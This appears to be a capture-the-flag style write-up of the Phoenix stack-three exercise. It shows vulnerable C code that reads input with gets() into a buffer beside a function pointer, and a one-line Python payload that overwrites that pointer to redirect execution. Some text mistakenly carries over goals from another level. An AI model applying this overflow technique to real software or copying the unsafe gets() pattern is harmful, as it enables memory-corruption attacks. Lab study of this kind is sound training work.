description |
---|
07/17/2023 |
Stack Three looks at overwriting function pointers stored on the stack.
- You can use
gdb
andobjdump
to determine where thecomplete_level()
function is in memory.
/*
* phoenix/stack-three, by https://exploit.education
*
* The aim is to change the contents of the changeme variable to 0x0d0a090a
*
* When does a joke become a dad joke?
* When it becomes apparent.
* When it's fully groan up.
*
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *gets(char *);
void complete_level() {
printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
exit(0);
}
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int (*fp)();
} locals;
printf("%s\n", BANNER);
locals.fp = NULL;
gets(locals.buffer);
if (locals.fp) {
printf("calling function pointer @ %p\n", locals.fp);
fflush(stdout);
locals.fp();
} else {
printf("function pointer remains unmodified :~( better luck next time!\n");
}
exit(0);
}
Our main goal is to find out where the changeme()
variable is.
Once we locate it in memory, we need to change the value to: 0x0d0a090a
.
0x0d0a090a
\x0a\x09\x0a\x0d
gdb stack-three
Let's check out the disassembly for the main()
function:
Let's check out the disassembly for the complete_level()
function:
We can see that 0x000000000040069d
is the memory address for the stack base pointer (rbp
) for our function.
Let's try and mess with the program a bit more and send it a long string:
Interesting, we ended up receiving a segmentation fault, meaning our program attempted to write/access out of bounds memory and in return forcefully crashed our program to protect our system.
We ended up getting the message calling function pointer 0x585858
... and was curious to see what that looked like in the ASCII table:
Hex 58
is equivalent to char X
. We can see this by doing man ascii
:
So, if we go back and look at our complete_level()
function, we need to get the program to call this so we can move on to the next level.
I also wanted to diversify with the tooling a little and decided to check out the same information in objdump as well. We can manually go through all of the disassembly without grepping for our function that we are looking for, but who wants to do that?
objdump -d stack-three | grep complete_level
000000000040069d <complete_level>:
Take the following snippet of main()
:
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int (*fp)();
} locals;
printf("%s\n", BANNER);
locals.fp = NULL;
gets(locals.buffer);
if (locals.fp) {
printf("calling function pointer @ %p\n", locals.fp);
fflush(stdout);
locals.fp();
This is interesting ebcause we see our function pointer (fp
) being set to NULL
. gets()
will take our input and store it within the 64-byte buffer (buffer[64]
). And lastly in our main()
function locals.fp()
will be called to call whatever is stored in our function pointer (fp
).
With that said, let's take the function pointer's address and convert it to little-endian and overwrite the buffer:
python -c 'print "X"*64 + "\x9d\x06\x40"' | ./stack-three
With our function pointer's address: 0x000000000040069d
, we take that and convert it to little-endian: \x9d\x06\x40
, overwrite our 64-byte buffer that's specified within our structure, and send it to the binary, we're able to overwrite our function pointer!